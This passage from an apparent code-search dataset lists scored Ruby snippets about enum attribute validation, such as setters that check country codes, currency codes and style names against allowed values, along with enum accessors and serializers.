\"NA\", \"NC\", \"NE\", \"NF\", \"NG\", \"NI\", \"NL\", \"NO\", \"NP\", \"NR\", \"NU\", \"NZ\", \"OM\", \"PA\", \"PE\", \"PF\", \"PG\", \"PH\", \"PK\", \"PL\", \"PM\", \"PN\", \"PR\", \"PS\", \"PT\", \"PW\", \"PY\", \"QA\", \"RE\", \"RO\", \"RS\", \"RU\", \"RW\", \"SA\", \"SB\", \"SC\", \"SD\", \"SE\", \"SG\", \"SH\", \"SI\", \"SJ\", \"SK\", \"SL\", \"SM\", \"SN\", \"SO\", \"SR\", \"SS\", \"ST\", \"SV\", \"SX\", \"SY\", \"SZ\", \"TC\", \"TD\", \"TF\", \"TG\", \"TH\", \"TJ\", \"TK\", \"TL\", \"TM\", \"TN\", \"TO\", \"TR\", \"TT\", \"TV\", \"TW\", \"TZ\", \"UA\", \"UG\", \"UM\", \"US\", \"UY\", \"UZ\", \"VA\", \"VC\", \"VE\", \"VG\", \"VI\", \"VN\", \"VU\", \"WF\", \"WS\", \"YE\", \"YT\", \"ZA\", \"ZM\", \"ZW\"])\n unless validator.valid?(country)\n fail ArgumentError, \"invalid value for 'country', must be one of #{validator.allowable_values}.\"\n end\n @country = country\n end", "title": "" }, { "docid": "c328fd8345a69d9ffb9f63b4db1acb76", "score": "0.56698906", "text": "def valid?\n currency_code_validator = EnumAttributeValidator.new('String', [\"AED\", \"AFN\", \"ALL\", \"AMD\", \"ANG\", \"AOA\", \"ARS\", \"AUD\", \"AWG\", \"AZN\", \"BAM\", \"BBD\", \"BDT\", \"BGN\", \"BHD\", \"BIF\", \"BMD\", \"BND\", \"BOB\", \"BOV\", \"BRL\", \"BSD\", \"BTN\", \"BWP\", \"BYR\", \"BZD\", \"CAD\", \"CDF\", \"CHE\", \"CHF\", \"CHW\", \"CLF\", \"CLP\", \"CNY\", \"COP\", \"COU\", \"CRC\", \"CUC\", \"CUP\", \"CVE\", \"CZK\", \"DJF\", \"DKK\", \"DOP\", \"DZD\", \"EGP\", \"ERN\", \"ETB\", \"EUR\", \"FJD\", \"FKP\", \"GBP\", \"GEL\", \"GHS\", \"GIP\", \"GMD\", \"GNF\", \"GTQ\", \"GYD\", \"HKD\", \"HNL\", \"HRK\", \"HTG\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"IQD\", \"IRR\", \"ISK\", \"JMD\", \"JOD\", \"JPY\", \"KES\", \"KGS\", \"KHR\", \"KMF\", \"KPW\", \"KRW\", \"KWD\", \"KYD\", \"KZT\", \"LAK\", \"LBP\", \"LKR\", \"LRD\", \"LSL\", \"LTL\", \"LVL\", \"LYD\", \"MAD\", \"MDL\", \"MGA\", \"MKD\", \"MMK\", \"MNT\", \"MOP\", \"MRO\", \"MUR\", \"MVR\", \"MWK\", \"MXN\", \"MXV\", \"MYR\", \"MZN\", \"NAD\", \"NGN\", \"NIO\", \"NOK\", \"NPR\", \"NZD\", \"OMR\", \"PAB\", \"PEN\", \"PGK\", \"PHP\", \"PKR\", \"PLN\", \"PYG\", \"QAR\", \"RON\", \"RSD\", \"RUB\", \"RWF\", \"SAR\", \"SBD\", \"SCR\", \"SDG\", \"SEK\", \"SGD\", \"SHP\", \"SLL\", \"SOS\", \"SRD\", \"SSP\", \"STD\", \"SVC\", \"SYP\", \"SZL\", \"THB\", \"TJS\", \"TMT\", \"TND\", \"TOP\", \"TRY\", \"TTD\", \"TWD\", \"TZS\", \"UAH\", \"UGX\", \"USD\", \"USN\", \"USS\", \"UYI\", \"UYU\", \"UZS\", \"VEF\", \"VND\", \"VUV\", \"WST\", \"XAF\", \"XAG\", \"XAU\", \"XBA\", \"XBB\", \"XBC\", \"XBD\", \"XCD\", \"XDR\", \"XOF\", \"XPD\", \"XPF\", \"XPT\", \"XTS\", \"XXX\", \"YER\", \"ZAR\", \"ZMK\", \"ZMW\", \"BTC\"])\n return false unless currency_code_validator.valid?(@currency_code)\n return true\n end", "title": "" }, { "docid": "bf3d36bad4e5502df67ae10502525859", "score": "0.5652725", "text": "def attr_status(*statuses)\n statuses.each do |status|\n define_method(\"#{status}!\".to_sym) { status!(status.to_sym) }\n define_method(\"#{status}?\".to_sym) { status?(status.to_sym) }\n protected \"#{status}!\".to_sym\n end\n end", "title": "" }, { "docid": "488932cbd8336d7c1006b95ab09ef24d", "score": "0.56496996", "text": "def has_enumerated?(attribute)\n return false if attribute.nil?\n enumerated_attributes.include? attribute.to_s\n end", "title": "" }, { "docid": "dab1835cab11879f4568621b568e25d8", "score": "0.5647114", "text": "def validates_acceptance_of(*attr_names); end", "title": "" }, { "docid": "dab1835cab11879f4568621b568e25d8", "score": "0.5647114", "text": "def validates_acceptance_of(*attr_names); end", "title": "" }, { "docid": "bc381d220261d0c14294b0afffdd2a1a", "score": "0.5631377", "text": "def attrib_bits_valid; end", "title": "" }, { "docid": "488c2884dcbb7c7fee190768699077e1", "score": "0.5608338", "text": "def integer_enums=(enums)\n if self.atype == Atype_Integer_Enum\n attribute_ranges.clear\n enums.each_with_index do |ar, ix|\n priority = nil\n if ar[:single]\n ar_low = ar[:single]\n else\n ar_low = ar[:low]\n priority = ar[:priority]\n end\n priority = ix + 1 if priority.blank?\n begin\n ar_low = Integer(ar_low)\n rescue\n next\n end\n attribute_ranges << \n AttributeRange.new(:integer_val_low => ar_low,\n :units_low => ar[:units_low], :priority => priority)\n end\n end\n end", "title": "" }, { "docid": "ade632ea1adb24e5cc374e365a4d9255", "score": "0.5606849", "text": "def enum_accessor(attribute, assignable_values)\n mapping[attribute] = assignable_values.map(&:intern)\n\n self.class.instance_eval do\n define_method(\"#{attribute}_values\") { mapping[attribute] }\n end\n\n self.class_eval do\n define_method(\"#{attribute}\") { instance_variable_get(\"@#{attribute}\") }\n define_method \"#{attribute}=\" do |value|\n raise NotEnumValueError, 'Value is not permitted' if value && !self.class.mapping[attribute].include?(value.intern)\n instance_variable_set(\"@#{attribute}\", value ? value.intern : nil)\n end\n end\n end", "title": "" }, { "docid": "799c558ea31390693a8eb16b0563ae17", "score": "0.55755025", "text": "def validate_enum!(enum)\n raise IncorrectTraversalStrategyError, enum unless enum.respond_to? :each\n end", "title": "" }, { "docid": "d9bc9ced5940fecaff78acf47a5c6158", "score": "0.55721456", "text": "def style=(style)\n validator = EnumAttributeValidator.new('String', ['None', 'MediumStyle2Accent1', 'MediumStyle2', 'NoStyleNoGrid', 'ThemedStyle1Accent1', 'ThemedStyle1Accent2', 'ThemedStyle1Accent3', 'ThemedStyle1Accent4', 'ThemedStyle1Accent5', 'ThemedStyle1Accent6', 'NoStyleTableGrid', 'ThemedStyle2Accent1', 'ThemedStyle2Accent2', 'ThemedStyle2Accent3', 'ThemedStyle2Accent4', 'ThemedStyle2Accent5', 'ThemedStyle2Accent6', 'LightStyle1', 'LightStyle1Accent1', 'LightStyle1Accent2', 'LightStyle1Accent3', 'LightStyle1Accent4', 'LightStyle2Accent5', 'LightStyle1Accent6', 'LightStyle2', 'LightStyle2Accent1', 'LightStyle2Accent2', 'LightStyle2Accent3', 'MediumStyle2Accent3', 'MediumStyle2Accent4', 'MediumStyle2Accent5', 'LightStyle2Accent6', 'LightStyle2Accent4', 'LightStyle3', 'LightStyle3Accent1', 'MediumStyle2Accent2', 'LightStyle3Accent2', 'LightStyle3Accent3', 'LightStyle3Accent4', 'LightStyle3Accent5', 'LightStyle3Accent6', 'MediumStyle1', 'MediumStyle1Accent1', 'MediumStyle1Accent2', 'MediumStyle1Accent3', 'MediumStyle1Accent4', 'MediumStyle1Accent5', 'MediumStyle1Accent6', 'MediumStyle2Accent6', 'MediumStyle3', 'MediumStyle3Accent1', 'MediumStyle3Accent2', 'MediumStyle3Accent3', 'MediumStyle3Accent4', 'MediumStyle3Accent5', 'MediumStyle3Accent6', 'MediumStyle4', 'MediumStyle4Accent1', 'MediumStyle4Accent2', 'MediumStyle4Accent3', 'MediumStyle4Accent4', 'MediumStyle4Accent5', 'MediumStyle4Accent6', 'DarkStyle1', 'DarkStyle1Accent1', 'DarkStyle1Accent2', 'DarkStyle1Accent3', 'DarkStyle1Accent4', 'DarkStyle1Accent5', 'DarkStyle1Accent6', 'DarkStyle2', 'DarkStyle2Accent1Accent2', 'DarkStyle2Accent3Accent4', 'DarkStyle2Accent5Accent6', 'LightStyle1Accent5', 'Custom'])\n unless validator.valid?(style)\n fail ArgumentError, 'invalid value for \"style\", must be one of #{validator.allowable_values}.'\n end\n @style = style\n end", "title": "" }, { "docid": "977c18580a3b1ddadf71ecf8af2fc24f", "score": "0.5508693", "text": "def enum_accessor(attribute, assignable_values)\n mapping[attribute] = assignable_values.map(&:intern)\n\n self.class.instance_eval do\n define_method(\"#{attribute}_values\") { mapping[attribute] }\n end\n\n class_eval do\n define_method(attribute.to_s) { instance_variable_get(\"@#{attribute}\") }\n define_method \"#{attribute}=\" do |value|\n raise NotEnumValueError, 'Value is not permitted' if value && !self.class.mapping[attribute].include?(value.intern)\n\n instance_variable_set(\"@#{attribute}\", value ? value.intern : nil)\n end\n end\n\n nil\n end", "title": "" }, { "docid": "718b23940a620946bc84a2b0e1a210a1", "score": "0.54985684", "text": "def bad_attribute(attribute, values)\n \"#{attribute} must be one of #{values.map(&:inspect).join(\", \")}\"\n end", "title": "" }, { "docid": "dce9facac4a142349af44f00a92abc9a", "score": "0.5497108", "text": "def it_should_allow_values_for(attribute, *good_values)\n get_options!(good_values)\n klass = self.described_type\n good_values.each do |v|\n describe \"allows #{attribute} to be set to #{v.inspect}\" do\n assert_good_value(klass, attribute, v)\n end\n end\n end", "title": "" }, { "docid": "c27b19e88fdd6da71c27e54ef6aa85cf", "score": "0.54969", "text": "def should_allow_values_for(attribute, *good_values)\n get_options!(good_values)\n klass = model_class\n klass = model_class\n good_values.each do |value|\n matcher = allow_value(value).for(attribute)\n should matcher.description do\n assert_accepts matcher, get_instance_of(klass)\n end\n end\n end", "title": "" }, { "docid": "61d3f6fcb634b4dcf4de166cba3324ff", "score": "0.54938996", "text": "def validates_attr(name, options = {})\n name = :\"attribute_#{name}\"\n\n if (choices = options.delete(:choices))\n supported_choices = choices.map do |c|\n c.is_a?(String) ? c.to_sym : c.to_s\n end.concat(choices)\n\n choices = choices.map(&:inspect).to_sentence(last_word_connector: \", or \")\n message = \"\\\"%<value>s\\\" is not valid. Options include: #{choices}.\"\n\n options.merge!(inclusion: { in: supported_choices, message: message })\n end\n\n validates(name, options)\n end", "title": "" }, { "docid": "c25a6cf764135f341117cbdb179eb6a8", "score": "0.5490385", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"cloudAppSecurityType\", @cloud_app_security_type)\n end", "title": "" }, { "docid": "8be2f363738b2de37fd7cdb9a36bdb67", "score": "0.5481565", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"type\", @type)\n end", "title": "" }, { "docid": "b567cfe3d53ce0cee192e447edb4f550", "score": "0.54563075", "text": "def validate_enum(current_schema, data, fragments)\n if !current_schema.schema['enum'].include?(data)\n message = \"The property '#{build_fragment(fragments)}' did not match one of the following values:\"\n current_schema.schema['enum'].each {|val|\n if val.is_a?(NilClass)\n message += \" null,\"\n elsif val.is_a?(Array)\n message += \" (array),\"\n elsif val.is_a?(Hash)\n message += \" (object),\"\n else\n message += \" #{val.to_s},\"\n end\n }\n message.chop!\n raise ValidationError.new(message, fragments, current_schema)\n end\n end", "title": "" }, { "docid": "4720ede289047948698982892c450ba1", "score": "0.54559237", "text": "def define_enum_setter(enum_name)\n method_name = \"#{ enum_name }=\"\n raise RuntimeError.new \"The method #{ method_name } already exists on this class.\" if respond_to? method_name\n\n define_method method_name do |*values|\n enumeration = rd_bitwise_enumerations[enum_name][:values].select{ |k,v| values.flatten.include?(k) }\n instance_variable_name = \"@#{ enum_name }\".to_sym\n\n ## Using a Bitwise \"|\" (OR) we will combine all of our flags\n ## to create the value to be stored.\n ##\n instance_variable_set instance_variable_name.to_sym, enumeration.map{ |k,v| v }.reduce(0) { |result, n| result | n }\n end\n end", "title": "" }, { "docid": "a5247474e69ad6546ee0119b7968dd7b", "score": "0.5445337", "text": "def valid_attributes\n [:default_value, :format, :list, :required, :type, :values]\n end", "title": "" }, { "docid": "06bfe8bd8c28b7b57ee3090d2a804ebf", "score": "0.54292357", "text": "def check_ranged_param(ranged_param, allowed)\n 🔞 = ranged_param.keys.map(&:to_sym) - allowed.map(&:to_sym)\n raise InvalidRangeException, \"Attributes #{🔞.map(&:to_s).to_sentence} doesn't exists or aren't rangeables. Available ranges are: #{allowed.to_sentence}\" if 🔞.any?\n end", "title": "" }, { "docid": "2a27a0daa7c74798cc6f47a01e3affbb", "score": "0.5417384", "text": "def valid_attribute?(tag, attribute)\n if LIMITED_ATTRIBUTES.key?(attribute.to_sym)\n return LIMITED_ATTRIBUTES[attribute.to_sym].include?(tag.to_sym)\n end\n return !FORBIDDEN_ATTRIBUTES.include?(attribute)\n end", "title": "" }, { "docid": "9c046178bf04c989733be8cad495b654", "score": "0.5416686", "text": "def attribute(name, type = Type::Value.new, *args, **options)\n arg_options = args.each_with_object({}) { |arg, hsh| hsh[arg.to_sym] = true }\n options = arg_options.merge options\n\n type = check_allowed_type type\n options[:of] = check_allowed_type(options[:of]) if options.key?(:of)\n\n attribute_metadata name, type, options\n\n build_attribute_aliases name, options\n\n options = Validations.build_for(self, name)\n\n super(name, type, **options)\n end", "title": "" }, { "docid": "2a28378335565698a8d97c2e9ca62f13", "score": "0.54132265", "text": "def do_validate(_name, value, errors)\n errors.add(\"invalid type '#{value}'\") unless @allowed_values.include?(value)\n end", "title": "" }, { "docid": "55b7551ca2a16c905eb7c3a540be4ea3", "score": "0.5411249", "text": "def define_active_enum_write_method(attribute)\n old_method = \"#{attribute}_without_enum=\"\n define_method(\"#{attribute}_with_enum=\") do |arg|\n enum = self.class.enum_for(attribute)\n if arg.is_a?(Symbol)\n value = enum[arg]\n send(old_method, value)\n else\n send(old_method, arg)\n end\n end\n\n alias_method_chain \"#{attribute}=\".to_sym, :enum\n end", "title": "" }, { "docid": "a34fd2533b915aa938ed0963f3ae7b79", "score": "0.5400308", "text": "def all_values\n attr = attribute\n vals = values_methods\n\n enum_klass = subtype.klass\n model_klass = klass\n\n # TODO: Rewrite these as string\n enum_module.module_eval do\n vals.each do |val, list|\n # scope :disabled, -> { where(status: 'disabled') }\n model_klass.scope list[0], -> do\n where(enum_klass.scope(arel_table[attr], val))\n end\n\n # def disabled? status.disabled? end\n define_method(list[1]) { send(attr).public_send(\"#{val}?\") }\n\n # def disabled!\n # changed = send(attr).public_send(\"#{val}!\")\n # save! if changed && enum_save_on_bang\n # true\n define_method(list[2]) do\n changed = send(attr).public_send(\"#{val}!\")\n return save! if changed && enum_save_on_bang\n true\n end\n end\n end\n end", "title": "" }, { "docid": "26732fa1c8bfc5d6f163fcfe9a286583", "score": "0.5393772", "text": "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"None\", \"Area\", \"Arrow\", \"Distance\", \"Ellipse\", \"Link\", \"Point\", \"Polyline\", \"ResourcesRedaction\", \"TextField\", \"TextHighlight\", \"TextRedaction\", \"TextReplacement\", \"TextStrikeout\", \"TextUnderline\", \"Watermark\", \"Image\", \"TextSquiggly\"])\n if type.to_i == 0\n unless validator.valid?(type)\n # raise ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n @type = validator.allowable_values[type.to_i]\n end\n @type = type\n else\n @type = validator.allowable_values[type.to_i]\n end\n end", "title": "" }, { "docid": "9ca3e42b86b1d357fc5bdf80a9b8d9cb", "score": "0.53840685", "text": "def update_allowed_values\n self.url_allowed = true if url_required\n self.description_allowed = true if description_required\n\n TagSet::TAG_TYPES.each do |tag_type|\n required = eval(\"#{tag_type}_num_required\") || eval(\"self.#{tag_type}_num_required\") || 0\n allowed = eval(\"#{tag_type}_num_allowed\") || eval(\"self.#{tag_type}_num_allowed\") || 0\n if required > allowed\n eval(\"self.#{tag_type}_num_allowed = required\")\n end\n end\n end", "title": "" }, { "docid": "d935a0603851a101823039c5e5bdf695", "score": "0.53678125", "text": "def validates_acceptance_of(*attr_names)\n configuration = { :message => ActiveRecord::Errors.default_error_messages[:accepted], :on => :save }\n configuration.update(attr_names.pop) if attr_names.last.is_a?(Hash)\n\n for attr_name in attr_names\n attr_accessor(attr_name)\n class_eval(%(#{validation_method(configuration[:on])} %{errors.add('#{attr_name}', '#{configuration[:message]}') unless #{attr_name}.nil? or #{attr_name} == \"1\"}))\n end\n end", "title": "" }, { "docid": "9c088abf83d514d7a2552c2120dfa025", "score": "0.5365301", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"mode\", @mode)\n end", "title": "" }, { "docid": "e920ed00ab3733a5e7b6e9b884733a9c", "score": "0.5359162", "text": "def role_enum=(role)\n write_attribute(:role, role)\n end", "title": "" }, { "docid": "f187aca54cfe93d01eefb4eb3e43f331", "score": "0.535419", "text": "def ticket_status=(val)\r\n\r\nself.ticket_status__index_was = self.ticket_status__index\r\ncase val\r\nwhen nil\r\n write_attribute(:ticket_status, nil)\r\nwhen 1..11 # index\r\n write_attribute(:ticket_status, val)\r\nwhen \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\" # index as string\r\n write_attribute(:ticket_status, val.to_i)\r\nwhen *(self.ticket_status__potential_values) # value\r\n write_attribute(:ticket_status, self.ticket_status__potential_values.index(val) + 1)\r\nwhen *LOCALIZED_TICKET_STATUSES # localized value\r\n write_attribute(:ticket_status, LOCALIZED_TICKET_STATUSES.index(val) + 1)\r\nelse\r\n write_attribute(:ticket_status, nil)\r\nend\r\nend", "title": "" }, { "docid": "ffa2a8f8afc3c428fef0c1509c6c1a41", "score": "0.5343541", "text": "def validate_with_definition value, param\n sx = []\n case type\n when :enum\n enum = self.enum\n if enum.key?(value)\n value.replace(enum[value]) if enum[value] != value\n else\n sx.push \"#{vernacular} must be {#{enum.keys.sort.join('|')}}, not #{value.inspect}\"\n end\n when :integer ; /\\A-?\\d+\\z/ =~ value or\n sx.push(\"#{vernacular} must be an integer, not #{value.inspect}\")\n when :float ; /\\A-?\\d+(?:\\.\\d+)?\\z/ =~ value or\n sx.push(\"#{vernacular} must be a float, not {value.inspect}\")\n when :string, :file ; # string: nothing, all data is string data from our perspective\n else; fail(\"not yet, maybe one day timmy: #{type.inspect}\")\n end\n sentence_join sx\n end", "title": "" }, { "docid": "56e1d37d049e3d7fbbaa610f8be6b1f9", "score": "0.5342304", "text": "def attrib_bits=(value); end", "title": "" }, { "docid": "5df8b13d444ed10628dbc6b9d1afa674", "score": "0.533128", "text": "def check_enum(str)\n buf = String.new\n ar = (str.split('('))\n ar[1].chomp!(')')\n limit = ar[1].split(',')\n buf << \", :limit => [\"\n limit.each do |option|\n buf << ':' << option.tr(\"'\",\"\") << ','\n end\n buf.chomp!(',') # remove the last comma\n buf << ']' # end the options array \n end", "title": "" }, { "docid": "6e84adb3711bdbf84923e64ee61b24e0", "score": "0.53229517", "text": "def enum hash\n key = hash.keys.first\n (self.enums ||= {}).merge! hash\n define_attribute_methods if !attribute_methods_generated?\n class_eval %{\n def #{key}\n missing_attribute('#{key}', caller) unless @attributes.has_key?('#{key}')\n self.class.enums[:#{key}][@attributes['#{key}']]\n end\n def #{key}=(val)\n write_attribute('#{key}', Fixnum === val ? val : self.class.enums[:#{key}].index val.to_s\n end\n }\n end", "title": "" }, { "docid": "6ece11983f7f07b25217cd0ce22063c8", "score": "0.5321647", "text": "def currency_code=(currency_code)\n validator = EnumAttributeValidator.new('String', [\"AED\", \"AFN\", \"ALL\", \"AMD\", \"ANG\", \"AOA\", \"ARS\", \"AUD\", \"AWG\", \"AZN\", \"BAM\", \"BBD\", \"BDT\", \"BGN\", \"BHD\", \"BIF\", \"BMD\", \"BND\", \"BOB\", \"BOV\", \"BRL\", \"BSD\", \"BTN\", \"BWP\", \"BYR\", \"BZD\", \"CAD\", \"CDF\", \"CHE\", \"CHF\", \"CHW\", \"CLF\", \"CLP\", \"CNY\", \"COP\", \"COU\", \"CRC\", \"CUC\", \"CUP\", \"CVE\", \"CZK\", \"DJF\", \"DKK\", \"DOP\", \"DZD\", \"EGP\", \"ERN\", \"ETB\", \"EUR\", \"FJD\", \"FKP\", \"GBP\", \"GEL\", \"GHS\", \"GIP\", \"GMD\", \"GNF\", \"GTQ\", \"GYD\", \"HKD\", \"HNL\", \"HRK\", \"HTG\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"IQD\", \"IRR\", \"ISK\", \"JMD\", \"JOD\", \"JPY\", \"KES\", \"KGS\", \"KHR\", \"KMF\", \"KPW\", \"KRW\", \"KWD\", \"KYD\", \"KZT\", \"LAK\", \"LBP\", \"LKR\", \"LRD\", \"LSL\", \"LTL\", \"LVL\", \"LYD\", \"MAD\", \"MDL\", \"MGA\", \"MKD\", \"MMK\", \"MNT\", \"MOP\", \"MRO\", \"MUR\", \"MVR\", \"MWK\", \"MXN\", \"MXV\", \"MYR\", \"MZN\", \"NAD\", \"NGN\", \"NIO\", \"NOK\", \"NPR\", \"NZD\", \"OMR\", \"PAB\", \"PEN\", \"PGK\", \"PHP\", \"PKR\", \"PLN\", \"PYG\", \"QAR\", \"RON\", \"RSD\", \"RUB\", \"RWF\", \"SAR\", \"SBD\", \"SCR\", \"SDG\", \"SEK\", \"SGD\", \"SHP\", \"SLL\", \"SOS\", \"SRD\", \"SSP\", \"STD\", \"SVC\", \"SYP\", \"SZL\", \"THB\", \"TJS\", \"TMT\", \"TND\", \"TOP\", \"TRY\", \"TTD\", \"TWD\", \"TZS\", \"UAH\", \"UGX\", \"USD\", \"USN\", \"USS\", \"UYI\", \"UYU\", \"UZS\", \"VEF\", \"VND\", \"VUV\", \"WST\", \"XAF\", \"XAG\", \"XAU\", \"XBA\", \"XBB\", \"XBC\", \"XBD\", \"XCD\", \"XDR\", \"XOF\", \"XPD\", \"XPF\", \"XPT\", \"XTS\", \"XXX\", \"YER\", \"ZAR\", \"ZMK\", \"ZMW\", \"BTC\"])\n unless validator.valid?(currency_code)\n fail ArgumentError, \"invalid value for 'currency_code', must be one of #{validator.allowable_values}.\"\n end\n @currency_code = currency_code\n end", "title": "" }, { "docid": "586494cb36b3d47597bc00c4bef5caf8", "score": "0.53116965", "text": "def valid?\n entity_type_validator = EnumAttributeValidator.new('Integer', [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\", \"25\", \"26\", \"27\", \"28\", \"29\", \"30\", \"31\", \"32\", \"33\", \"34\", \"35\", \"36\", \"37\", \"38\", \"39\", \"40\", \"41\", \"42\", \"43\", \"44\", \"45\", \"46\", \"47\", \"48\", \"49\", \"50\", \"51\", \"52\", \"53\", \"54\", \"55\", \"56\", \"57\", \"58\", \"59\", \"60\", \"61\", \"62\", \"63\", \"64\", \"65\", \"66\", \"67\", \"68\", \"69\", \"70\", \"71\", \"72\", \"73\", \"74\", \"75\", \"76\", \"77\", \"78\", \"79\", \"80\", \"81\", \"82\", \"83\", \"84\", \"85\", \"86\", \"87\", \"88\", \"89\", \"90\", \"91\", \"92\", \"93\", \"94\", \"95\", \"96\", \"97\", \"98\", \"99\", \"100\", \"101\", \"102\", \"103\", \"104\", \"105\", \"106\", \"107\", \"108\", \"109\", \"110\", \"111\", \"112\", \"113\", \"114\", \"115\", \"116\", \"118\", \"119\", \"120\", \"121\", \"122\", \"123\", \"124\", \"125\", \"126\", \"127\", \"128\", \"129\", \"300\", \"301\", \"302\", \"303\", \"304\", \"305\", \"306\", \"307\", \"308\", \"309\", \"310\", \"10000\", \"10001\", \"10002\", \"10003\"])\n return false unless entity_type_validator.valid?(@entity_type)\n return true\n end", "title": "" }, { "docid": "fcf257c078c19338e239395fe52d1bf7", "score": "0.529121", "text": "def required_numeric_attributes\n enum? ? [] : %i[min max default]\n end", "title": "" }, { "docid": "8744b6f6ec057efddfe190f0250661c2", "score": "0.5290592", "text": "def scope(attribute, value)\n attribute.contains(::Arel.array(value, cast: enum_source.type_name))\n end", "title": "" }, { "docid": "e7ed1f76c1df15f1da65493bac971b91", "score": "0.52896464", "text": "def enum_is_valid(mapper, enum_value)\n if enum_value.is_a?(String) && !enum_value.empty?\n model = get_model(mapper[:type][:module])\n model.constants.any? { |e| model.const_get(e).to_s.downcase == enum_value.downcase }\n else\n false\n end\n end", "title": "" }, { "docid": "7063c0729003125904b123f1afb4047a", "score": "0.52855855", "text": "def valid?\n return false if !super\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['Title', 'Text', 'TwoColumnText', 'Table', 'TextAndChart', 'ChartAndText', 'Diagram', 'Chart', 'TextAndClipArt', 'ClipArtAndText', 'TitleOnly', 'Blank', 'TextAndObject', 'ObjectAndText', 'Object', 'TitleAndObject', 'TextAndMedia', 'MediaAndText', 'ObjectOverText', 'TextOverObject', 'TextAndTwoObjects', 'TwoObjectsAndText', 'TwoObjectsOverText', 'FourObjects', 'VerticalText', 'ClipArtAndVerticalText', 'VerticalTitleAndText', 'VerticalTitleAndTextOverChart', 'TwoObjects', 'ObjectAndTwoObject', 'TwoObjectsAndObject', 'SectionHeader', 'TwoTextAndTwoObjects', 'TitleObjectAndCaption', 'PictureAndCaption', 'Custom'])\n return false unless type_validator.valid?(@type)\n true\n end", "title": "" }, { "docid": "c93e6e74c7ca8e3ec937ebaf83b2a76f", "score": "0.52768075", "text": "def attribute_value_allowed?(attribute_name, value)\n allowed_values = Hash(defined_attributes).fetch(attribute_name, {})[:allowed_values]\n\n value.nil? || allowed_values.nil? || allowed_values.include?(value)\n end", "title": "" }, { "docid": "0e7f6415a6d39d26b0d04e00bc265c9b", "score": "0.5266651", "text": "def valid?\n type_validator = EnumAttributeValidator.new('String', [\"AP\", \"AR\", \"EE\", \"EI\", \"EO\", \"IA\", \"IT\", \"P\", \"PF\", \"R\", \"RA\", \"RD\", \"RE\", \"RP\", \"ST\", \"SD\", \"ET\", \"RM\", \"FT\", \"PT\"])\n return false unless type_validator.valid?(@type)\n expense_class_validator = EnumAttributeValidator.new('String', [\"NonReimbursable\", \"Reimbursable\", \"Personal\"])\n return false unless expense_class_validator.valid?(@expense_class)\n return true\n end", "title": "" }, { "docid": "6f2bdf88da66c4e515a530f51c13c388", "score": "0.5266496", "text": "def enum_types; end", "title": "" }, { "docid": "f4293acbc9bf8b16c2e3724403116f39", "score": "0.5264632", "text": "def allowed_values(type, field, workspace = nil)\n rally_workspace_object(workspace)\n \n type_def = get_typedef_for(type, workspace)\n allowed_vals = {}\n type_def[\"Attributes\"].each do |attr|\n next if attr[\"ElementName\"] != field\n attr[\"AllowedValues\"].each do |val_ref|\n val = val_ref[\"StringValue\"]\n val = \"Null\" if val.nil? || val.empty?\n allowed_vals[val] = true\n end\n end\n allowed_vals\n end", "title": "" }, { "docid": "980f1ecce12cb6af88aea60e530e6082", "score": "0.5254619", "text": "def attr_allowed(attribute, *args)\n opt = args.last.is_a?(Hash) ? args.pop : {}\n vals = {}\n args.flatten.map { |v| vals[v.to_sym] = v.to_s }\n defn = Definition.new(attribute, vals, opt)\n easy_attribute_accessors(attribute, defn)\n end", "title": "" }, { "docid": "7d42bd6632b5674e48aa4039d3b8ccee", "score": "0.5251053", "text": "def entity_type=(entity_type)\n validator = EnumAttributeValidator.new('Integer', [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\", \"25\", \"26\", \"27\", \"28\", \"29\", \"30\", \"31\", \"32\", \"33\", \"34\", \"35\", \"36\", \"37\", \"38\", \"39\", \"40\", \"41\", \"42\", \"43\", \"44\", \"45\", \"46\", \"47\", \"48\", \"49\", \"50\", \"51\", \"52\", \"53\", \"54\", \"55\", \"56\", \"57\", \"58\", \"59\", \"60\", \"61\", \"62\", \"63\", \"64\", \"65\", \"66\", \"67\", \"68\", \"69\", \"70\", \"71\", \"72\", \"73\", \"74\", \"75\", \"76\", \"77\", \"78\", \"79\", \"80\", \"81\", \"82\", \"83\", \"84\", \"85\", \"86\", \"87\", \"88\", \"89\", \"90\", \"91\", \"92\", \"93\", \"94\", \"95\", \"96\", \"97\", \"98\", \"99\", \"100\", \"101\", \"102\", \"103\", \"104\", \"105\", \"106\", \"107\", \"108\", \"109\", \"110\", \"111\", \"112\", \"113\", \"114\", \"115\", \"116\", \"118\", \"119\", \"120\", \"121\", \"122\", \"123\", \"124\", \"125\", \"126\", \"127\", \"128\", \"129\", \"300\", \"301\", \"302\", \"303\", \"304\", \"305\", \"306\", \"307\", \"308\", \"309\", \"310\", \"10000\", \"10001\", \"10002\", \"10003\"])\n unless validator.valid?(entity_type)\n fail ArgumentError, \"invalid value for 'entity_type', must be one of #{validator.allowable_values}.\"\n end\n @entity_type = entity_type\n end", "title": "" }, { "docid": "cb5074b4e936a2db2c33d0ad25a62fdf", "score": "0.52493125", "text": "def privilege_required=(privilege_required)\n validator = EnumAttributeValidator.new('String', ['N', 'L', 'H'])\n unless validator.valid?(privilege_required)\n fail ArgumentError, 'invalid value for \"privilege_required\", must be one of #{validator.allowable_values}.'\n end\n @privilege_required = privilege_required\n end", "title": "" }, { "docid": "6630708f3097fe961a4387771ec75898", "score": "0.5247862", "text": "def compliance=(compliance)\n validator = EnumAttributeValidator.new('String', ['Pdf15', 'Pdf16', 'Pdf17', 'PdfA1b', 'PdfA1a', 